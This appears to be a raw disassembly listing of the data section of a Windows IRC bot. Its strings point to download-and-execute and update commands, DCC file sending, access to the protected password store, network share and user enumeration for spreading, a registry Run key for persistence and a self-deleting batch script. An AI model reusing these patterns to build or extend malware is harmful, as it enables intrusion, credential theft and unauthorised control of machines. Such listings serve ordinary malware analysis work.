dword_412280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401985+BCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4122AC	dd 6277h		; DATA XREF: sub_401985+3Co
					; sub_402018+12Do ...
dword_4122B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_401B81+2D0o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4122F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_401B81+250o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_412320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_401B81+1C7o
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_412348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_401B81+17Eo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_401B81+EBo
					; sub_404691+62o ...
		align 4
dword_41237C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_401EA8+E2o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4123A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_401FA3+5Do
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo
		align 4
asc_4123EC	db 0Dh,0Ah		; DATA XREF: sub_402018+92o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o
					; sub_405CC8+BAo
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
unk_412414	db  2Dh	; -		; DATA XREF: sub_402230+573o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 10h
dword_412440	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402230+549o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_412470	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402230+533o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_412498	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402230+4C9o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4124E0	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402230+476o
dword_4124EC	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co
unk_4124F8	db  2Dh	; -		; DATA XREF: sub_402230+34Do
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_412524:				; DATA XREF: sub_402230+332o
		unicode	0, </>,0
asc_412528:				; DATA XREF: sub_402230+2D0o
					; sub_40F54D+334o
		unicode	0, <:>,0
a69		db '69',0               ; DATA XREF: sub_402230+280o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402230+262o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402230+22Fo
		align 4
a21		db '21',0               ; DATA XREF: sub_402230+20Fo
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402230+1F5o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402230+1BFo
					; sub_4033B0+28o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402230+1A5o
dword_41255C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402230+10Do
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41258C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402230+F4o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4125C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402230+ABo
dword_4125CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402230+98o
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4125FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_4027CB+97o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_412620	dd 6578652Eh, 0		; DATA XREF: sub_4027CB+3Fo
					; sub_40D7FD+44o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o
					; sub_40735A+9B8o
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40287C+17Do
					; sub_40735A:loc_4083B6o
		align 4
dword_41264C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40287C+B3o
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40287C+ACo
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40287C:loc_40291Fo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40287C:loc_4028EAo
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40287C+34o
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_402D7B:loc_402EE2o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_402D7B:loc_402ECAo
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_402D7B+108o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_402D7B+FBo
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_402D7B+F3o
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_402D7B:loc_402E65o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_402D7B:loc_402E24o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_402D7B+70o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_402D7B+63o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_402D7B+56o
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_402D7B+49o
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_402D7B+3Co
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_402D7B+34o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_402D7B+27o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402D7B+8o
		align 4
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o
dword_4129C0	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_402EFD+6Bo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4129F4	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_4030A7+5Eo
		dd 30032074h, 73250234h, 203h
dword_412A14	dd 333131h		; DATA XREF: sub_4030A7:loc_4030BCo
dword_412A18	dd 9C9EB3E1h, 0CF809E9Eh, 0FC99A2C1h, 82h, 0 ; DATA XREF: sub_4033B0+Ao
dword_412A2C	dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o
dword_412A38	dd 2E3031h		; DATA XREF: sub_403201+48o
dword_412A3C	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_403201+34o
dword_412A48	dd 2E323731h, 0		; DATA XREF: sub_403201+20o
dword_412A50	dd 2E373231h, 0		; DATA XREF: sub_403201+7o
dword_412A58	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_408F9D+172o
					; sub_40CA47+1DFo
dword_412A64	dd 313A3Ah		; DATA XREF: sub_403342+3Co
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_403E9B+47o
		align 10h
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_403E9B+3Ao
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_403E9B+2Do
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_403E9B+25o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_403E9B+Bo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_403F1D+C5o
					; .data:004156C4o ...
		align 10h
dword_412AD0	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_404143+7Eo
		dd 732520h
dword_412AE8	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_404143+48o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_412B10	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_404202+27o
dword_412B20	dd 58323025h, 0		; DATA XREF: sub_4043B3+1C4o
					; sub_40F089+Do
dword_412B28	dd 58383025h, 0		; DATA XREF: sub_4043B3+181o
					; sub_40735A+E1Do
dword_412B30	dd 7325h		; DATA XREF: sub_4043B3+15Fo
					; sub_4058D7+2BAo ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_4043B3+79o
		align 4
aHklm		db 'HKLM',0             ; DATA XREF: sub_4043B3+5Do
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_4043B3+41o
		align 4
aHkcr		db 'HKCR',0             ; DATA XREF: sub_4043B3+25o
		align 4
off_412B54	dd offset dword_412D9C	; DATA XREF: sub_4049B5+2Er
					; sub_4049B5+3Co ...
off_412B58	dd offset dword_412D74	; DATA XREF: sub_4049B5+156r
					; sub_4049B5+167r ...
		dd offset dword_412D64
		dd offset dword_412D74
		dd offset dword_412D54
		dd offset dword_412D30
		dd offset dword_412D20
		dd offset dword_412D00
		dd offset dword_412CEC
		dd offset dword_412D00
		dd offset dword_412CD8
		dd offset dword_412CC0
		dd offset dword_412CB0
		dd offset dword_412C9C
		dd offset dword_412C88
		dd offset dword_412C68
		dd offset dword_412C54
		dd offset dword_412C38
		dd offset dword_412C28
		dd offset dword_412C38
		dd offset dword_412C18
		dd offset dword_412BF0
		dd offset loc_412BDC
		dd offset dword_412BBC
		dd 2 dup(0)
dword_412BBC	dd 0C08AADDBh, 0C7808FC7h, 0F7BEACD0h, 0ECC7E582h, 0F7C9B0F3h
					; DATA XREF: .data:00412BB0o
		dd 0CE838CD0h, 85E9D6h,	0
; ---------------------------------------------------------------------------


loc_412BDC:				; DATA XREF: .data:00412BACo
		jmp	dword ptr [ecx-6C3B3D6Fh]
; ---------------------------------------------------------------------------
		dw 0C49Dh
		dd 0FC8FE98Ah, 2 dup(0)
dword_412BF0	dd 0DE99B4D7h, 0D58E9FC1h, 0B999E3CDh, 0E7CCE1BAh, 0D3AEE4E4h
					; DATA XREF: .data:00412BA8o
		dd 0C09899DCh, 0FCA4ACDDh, 0E1DCF684h, 0F3h, 0
dword_412C18	dd 0C18EA8F7h, 0C4979986h, 2 dup(0) ; DATA XREF: .data:00412BA4o
dword_412C28	dd 0DD86B4E5h, 8F998FE1h, 92F4C1h, 0 ; DATA XREF: .data:00412B9Co
dword_412C38	dd 0DD86B4C5h, 819D99C4h, 0CA95F9F7h, 0E7C1F38Fh, 0C2A8E4FBh
					; DATA XREF: .data:00412B98o
					; .data:00412BA0o
		dd 0D8h, 0
dword_412C54	dd 0DD86B4E5h, 0C2998FC4h, 0FC8FE98Ah, 2 dup(0)	; DATA XREF: .data:00412B94o
dword_412C68	dd 0D687ADC1h, 819C8BC7h, 0EE83E9EAh, 0A2DEF299h, 0D79BADD0h
					; DATA XREF: .data:00412B90o
		dd 0CD839DDFh, 2 dup(0)
dword_412C88	dd 0D79BADF0h, 0CD839DDFh, 0FC8FE98Ah, 2 dup(0)	; DATA XREF: .data:00412B8Co
dword_412C9C	dd 0D387ADC1h, 0E0CF8CC5h, 0ED99E9C3h, 2 dup(0)	; DATA XREF: .data:00412B88o
dword_412CB0	dd 0D387ADE1h, 0C4C18CC5h, 0E9DCh, 0 ; DATA XREF: .data:00412B84o
dword_412CC0	dd 0D687ADC1h, 819C8BC7h, 0F587F4E1h, 0F0D0F299h, 2 dup(0)
					; DATA XREF: .data:00412B80o
dword_412CD8	dd 0DE99BCF3h, 0D38A8EC7h, 0FC8FE98Ah, 2 dup(0)	; DATA XREF: .data:00412B7Co
dword_412CEC	dd 0FB87ADE1h, 0CF809BC7h, 0FC8FE98Ah, 2 dup(0)	; DATA XREF: .data:00412B74o
dword_412D00	dd 0D687ADC1h, 819C8BC7h, 0F690E3E8h, 0F2F4A098h, 0D180A8E6h
					; DATA XREF: .data:00412B70o
					; .data:00412B78o
		dd 0CE8688C9h, 0CAh, 0
dword_412D20	dd 0DD8EABFAh, 0D98AD2C6h, 0C1h, 0 ; DATA XREF:	.data:00412B6Co
dword_412D30	dd 0D780A8D5h, 0F2CF88C6h, 0FC81FEC1h, 0F7E7A084h, 0DF80B0F8h
					; DATA XREF: .data:00412B68o
		dd 0D3BFDCCDh, 0EA92EFCBh, 85h,	0
dword_412D54	dd 0C19BB7F5h, 0C4979986h, 2 dup(0) ; DATA XREF: .data:00412B64o
dword_412D64	dd 0C188B7DFh, 0D98AD2DBh, 0C1h, 0 ; DATA XREF:	.data:00412B5Co
dword_412D74	dd 0D38AABDAh, 0C4BCDCC4h, 0F085F9C7h, 0C395F982h, 0DD81B0E3h
					; DATA XREF: .data:off_412B58o
					; .data:00412B60o
		dd 0D89B95DAh, 0EB92DF84h, 0E7D6E980h, 2 dup(0)
dword_412D9C	dd 0D39AB7FAh, 0D98AD2DBh, 0C1h, 0 ; DATA XREF:	.data:off_412B54o
dword_412DAC	dd 293Ah		; DATA XREF: sub_4045E4+8Bo
dword_412DB0	dd 5Ch			; DATA XREF: sub_4045E4+22o
					; sub_404691+21o ...
dword_412DB4	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_404715+24o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4047C0+1Ao
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4048CF+99o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 10h
a_bat		db '.bat',0             ; DATA XREF: sub_4048CF+42o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_4049B5+132o
					; sub_404BC3+AAo
		align 4
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_404BC3+D3o
					; sub_404BC3+151o
		align 4
dword_412E84	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_404D33+DDo
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_412EB8	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_404D33+C2o
dword_412EC4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_404F90+68o
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_412EF8	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4050D1+85o
		dd 34300320h, 3732502h,	2
dword_412F18	dd 20h			; DATA XREF: sub_4051D2+39o
					; sub_4051D2+6Fo ...
dword_412F1C	dd 30h			; DATA XREF: sub_4054C3+85o
					; sub_40849F+D6o ...
; ---------------------------------------------------------------------------


loc_412F20:				; DATA XREF: sub_405580+DBo
					; sub_405670+AEo
		and	eax, 73252E73h
		db	2Eh
		and	eax, 73252E73h


loc_412F2B:				; DATA XREF: sub_405C57+5o
		add	bl, bh
		mov	bh, 87h
		pushf
		retf
; ---------------------------------------------------------------------------
		db 93h,	82h, 0
		align 8
dword_412F38	dd 9C9EB3E1h, 0D39D99DCh, 0F694A2C5h, 0F0D7AE9Bh, 2 dup(0)
					; DATA XREF: sub_405C57+11o
dword_412F50	dd 9C87B7FBh, 99CCh, 0	; DATA XREF: sub_405C57+1Fo
dword_412F5C	dd 0DF9CA5F2h, 0D58A9286h, 2 dup(0) ; DATA XREF: sub_405C57+2Do
dword_412F6C	dd 0D586ABF1h, 0C0C199C4h, 0C1h, 0 ; DATA XREF:	sub_405C57+3Bo
dword_412F7C	dd 0D787ADF8h, 8F818FC5h, 0B79AE3C7h, 0F597h, 0	; DATA XREF: sub_405C57+4Bo
off_412F90	dd offset dword_4130B4	; DATA XREF: sub_405CC8+Er
					; sub_405CC8+18o ...
off_412F94	dd offset dword_413080	; DATA XREF: sub_405CC8+5Br
		dd offset dword_413064
		dd offset dword_413020
		dd offset dword_413008
		dd offset dword_412FB0
		align 10h
dword_412FB0	dd 0DC9EABF2h, 0C58E93C4h, 0F496EB8Ah, 0FB9BF393h, 0DD86ACF7h
					; DATA XREF: .data:00412FA4o
		dd 0CC809F86h, 0F496EB8Bh, 0E69AF393h, 0DE87B3F9h, 8E8B9DC7h
		dd 0F790E5D7h, 0F29AE493h, 0D38AB4F9h, 0C096D3D8h, 0C698E3CCh
		dd 0E7DFE594h, 0D785A1E1h, 0D5B0CECCh, 0A8DABDC9h, 0E7CDE5D8h
		dd 2 dup(0)
dword_413008	dd 0D5C7B7E3h, 0D28A91C9h, 0F08EA295h, 0E19BE79Bh, 0A9F9h
					; DATA XREF: .data:00412FA0o
		dd 0
dword_413020	dd 0DC9EABF2h, 0C58E93C4h, 0A8D8BF8Bh, 0B19AE6D9h, 83DDA2A7h
					; DATA XREF: .data:00412F9Co
		dd 8CD8CE9Ch, 0FCC3BC9Ch, 0E48DB4DBh, 0D1D1E9AFh, 94C2C499h
		dd 0A093BDC5h, 0BA80E2C5h, 9D8CF7A3h, 0D28E8FC5h, 0B794E2DDh
		dd 0D0F893h, 0
dword_413064	dd 0DC9EABF2h, 0C58E93C4h, 0FA9EE18Ah, 0EDC6EF84h, 0D1C7B0F0h
					; DATA XREF: .data:00412F98o
		dd 91C7h, 0
dword_413080	dd 0D39DA5F2h, 8E819987h, 0B690E5C6h, 0F0C7F595h, 9D9DAAF3h
					; DATA XREF: .data:off_412F94o
		dd 0C68093EFh, 0F6A3E9C8h, 0E3D7EC99h, 0C1878DE4h, 0CD839DDCh
		dd 0FCD9FEC1h, 0E58Eh, 0
dword_4130B4	dd 0DE86ABE2h, 8F9D9DCAh, 0FE98E3C3h, 0E19BE59Ah, 0A9F9h
					; DATA XREF: .data:off_412F90o
		dd 0
off_4130CC	dd offset byte_415355	; DATA XREF: sub_40587E+29o
dword_4130D0	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4058D7+29Ao
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4131C0	dd 73h			; DATA XREF: sub_4058D7+239o
					; sub_405E4E+16Eo ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4058D7+1FBo
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4058D7+1D1o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4058D7+19Ao
					; sub_405E4E+11Do ...
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4058D7+191o
					; sub_405E4E+118o ...
a2003		db '2003',0             ; DATA XREF: sub_4058D7+16Ao
					; .data:00415890o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4058D7+15Ao
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4058D7+14Ao
					; .data:00415884o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4058D7+131o
		align 4
a98		db '98',0               ; DATA XREF: sub_4058D7+121o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4058D7+111o
		align 10h
a95		db '95',0               ; DATA XREF: sub_4058D7+103o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4058D7+E8o
		align 4
a?:					; DATA XREF: sub_4058D7+E3o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_405BB3+21o
		align 10h
dword_413250	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_405E4E+1C8o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_405E4E+15Bo
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_405E4E+14Fo
aBad		db 'Bad',0              ; DATA XREF: sub_405E4E+148o
aLan		db 'LAN',0              ; DATA XREF: sub_405E4E:loc_405F51o
aModem		db 'Modem',0            ; DATA XREF: sub_405E4E+FCo
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_405E4E+AEo
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_40605E+21o
		align 4
dword_413364	dd 5C3A41h		; DATA XREF: sub_406096+6r
					; sub_406110+60r ...
dword_413368	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_406110+1A2o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4133A0	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_406110+15Ao
dword_4133B0	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_406110+13Bo
		dd 20424D02h, 65657266h, 0
aUnknown	db 'unknown',0          ; DATA XREF: sub_406110+FAo
					; sub_40DA07+36o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_406110+F3o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_406110+E9o
		align 4
aRemote		db 'remote',0           ; DATA XREF: sub_406110+DDo
		align 10h
aFixed		db 'fixed',0            ; DATA XREF: sub_406110+D1o
		align 4
a_		db '. ',0               ; DATA XREF: sub_406110+BDo
					; sub_406110+184o
		align 4
aRemovable	db 'removable',0        ; DATA XREF: sub_406110+88o
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_406110+2Bo
		align 10h
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4062EC+21o
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4064A0+76o
					; sub_406596+7Bo
		align 4
aBtg		db 'btg',0              ; DATA XREF: sub_4064A0+71o
dword_413440	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4064A0+54o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_40678D+60o
					; sub_406868+86o
		align 4
dword_413488	dd 3430032Dh, 2037802h	; DATA XREF: sub_406993+DAo
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4134A8	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_406993+9Co
dword_4134B8	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_406993+40o
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_406B1B+14o
		align 4
dword_41350C	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_406BE0+260o
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_413538	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_406BE0+203o
		dd 30033A72h, 64250234h, 203h
dword_413560	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_406BE0+1DCo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_406BE0:loc_406D4Ao
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_406BE0+6Do
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_406BE0+5Bo
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_406BE0+53o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_406BE0+35o
		align 4
unk_4135E4	db  55h	; U		; DATA XREF: sub_406E50+Do
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_413628	dd 202h			; DATA XREF: sub_406F40+F8o
dword_41362C	dd 0A0D7325h, 0		; DATA XREF: sub_406F40+5Fo
dword_413634	dd 3334h		; DATA XREF: sub_406F40+3Ao
dword_413638	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_406F40+28o
